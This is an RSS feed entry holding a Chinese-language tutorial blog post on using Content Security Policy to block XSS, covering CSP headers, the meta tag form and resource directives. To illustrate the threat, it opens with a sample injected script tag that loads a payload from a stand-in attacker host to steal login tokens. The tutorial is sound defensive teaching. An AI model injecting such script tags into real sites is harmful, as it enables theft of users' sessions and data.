<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Content Security Policy on Last Stand</title><link>https://amatsuzero.github.io/LastStand/tags/content-security-policy/</link><description>Recent content in Content Security Policy on Last Stand</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Tue, 03 Dec 2024 00:00:00 +0800</lastBuildDate><atom:link href="https://amatsuzero.github.io/LastStand/tags/content-security-policy/index.xml" rel="self" type="application/rss+xml"/><item><title>Content Security Policy</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/</guid><description>&lt;p&gt;跨域脚本攻击 &lt;code&gt;XSS(Cross Site Scripting)&lt;/code&gt; 是最常见、危害最大的网页安全漏洞。&lt;/p&gt;
&lt;p&gt;比如网站有个留言板功能，但后台未对用户输入进行过滤，攻击者可以在留言编辑框中输入&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.hacker.org/xss.payload.js&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;xss.payload.js&lt;/code&gt;可以获取老浏览用户的信息，如登录&lt;code&gt;token&lt;/code&gt;、&lt;code&gt;用户的个人资料&lt;/code&gt;等。以前的防御手段主要是对用户输入进行过滤如：去除&lt;code&gt;html&lt;/code&gt;标签，实体化，关键字过滤等等，这样一来，最终的结果就是后台的大多数代码都是在做字符串验证，非常的让人不舒服。&lt;/p&gt;
&lt;p&gt;为了防止它们，要采取很多编程措施，非常麻烦。很多人提出，能不能根本上解决问题，浏览器自动禁止外部注入恶意脚本？&lt;/p&gt;
&lt;p&gt;所以&lt;code&gt;W3 org&lt;/code&gt;引入了&lt;code&gt;CSP&lt;/code&gt;，它从另外一层面给浏览器提供了保护。这就是&amp;quot;网页安全政策&amp;quot;（&lt;code&gt;Content Security Policy&lt;/code&gt;，缩写 &lt;code&gt;CSP&lt;/code&gt;）的来历。本文详细介绍如何使用 &lt;code&gt;CSP&lt;/code&gt; 防止 &lt;code&gt;XSS&lt;/code&gt; 攻击。&lt;/p&gt;
&lt;h2 id="一简介"&gt;一、简介&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;CSP&lt;/code&gt; 的实质就是白名单制度&lt;/strong&gt;，开发者明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单。严格规定页面中哪些资源允许有哪些资源，不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成，开发者只需提供配置。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CSP&lt;/code&gt; 大大增强了网页的安全性。攻击者即使发现了漏洞，也没法注入脚本，除非还控制了一台列入了白名单的可信主机。&lt;/p&gt;
&lt;p&gt;两种方法可以启用 &lt;code&gt;CSP&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一种是通过 &lt;code&gt;HTTP&lt;/code&gt; 头信息的&lt;code&gt;Content-Security-Policy&lt;/code&gt;的字段&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/image-01.webp"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;Content-Security-Policy&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#f92672"&gt;script-src&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;self&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;;&lt;/span&gt; &lt;span style="color:#f92672"&gt;object-src&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;none&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;style-src&lt;/span&gt; &lt;span style="color:#f92672"&gt;cdn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;example&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;org&lt;/span&gt; &lt;span style="color:#f92672"&gt;third-party&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;org&lt;/span&gt;&lt;span style="color:#f92672"&gt;;&lt;/span&gt; &lt;span style="color:#f92672"&gt;child-src&lt;/span&gt; &lt;span style="color:#f92672"&gt;https&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;另一种是通过网页的&lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt;标签&lt;/strong&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#f92672"&gt;http-equiv&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Content-Security-Policy&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;script-src &amp;#39;self&amp;#39;; object-src &amp;#39;none&amp;#39;; style-src cdn.example.org third-party.org; child-src https:&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面代码中，&lt;code&gt;CSP&lt;/code&gt; 做了如下配置。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脚本：只信任当前域名&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;标签：不信任任何&lt;code&gt;URL&lt;/code&gt;，即不加载任何资源&lt;/li&gt;
&lt;li&gt;样式表：只信任&lt;code&gt;cdn.example.org&lt;/code&gt;和&lt;code&gt;third-party.org&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;框架（&lt;code&gt;frame&lt;/code&gt;）：必须使用&lt;code&gt;HTTPS&lt;/code&gt;协议加载&lt;/li&gt;
&lt;li&gt;其他资源：没有限制&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;启用后，不符合 &lt;code&gt;CSP&lt;/code&gt; 的外部资源就会被阻止加载。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Chrome&lt;/code&gt; 的报错信息。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="二限制选项"&gt;二、限制选项&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CSP&lt;/code&gt; 提供了很多限制选项，涉及安全的各个方面。&lt;/p&gt;
&lt;h3 id="21-资源加载限制"&gt;2.1 资源加载限制&lt;/h3&gt;
&lt;p&gt;以下选项限制各类资源的加载。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;script-src&lt;/code&gt;：外部脚本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;style-src&lt;/code&gt;：样式表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;img-src&lt;/code&gt;：图像&lt;/li&gt;
&lt;li&gt;&lt;code&gt;media-src&lt;/code&gt;：媒体文件（音频和视频）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;font-src&lt;/code&gt;：字体文件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;object-src&lt;/code&gt;：插件（比如 &lt;code&gt;Flash&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;child-src&lt;/code&gt;：框架&lt;/li&gt;
&lt;li&gt;&lt;code&gt;frame-ancestors&lt;/code&gt;：嵌入的外部资源（比如&lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;和&lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;connect-src：HTTP 连接（通过 XHR、WebSockets、EventSource等）&lt;/li&gt;
&lt;li&gt;worker-src：worker脚本&lt;/li&gt;
&lt;li&gt;manifest-src：manifest 文件&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-default-src"&gt;2.2 &lt;code&gt;default-src&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;default-src用来设置上面各个选项的默认值。&lt;/p&gt;</description></item></channel></rss>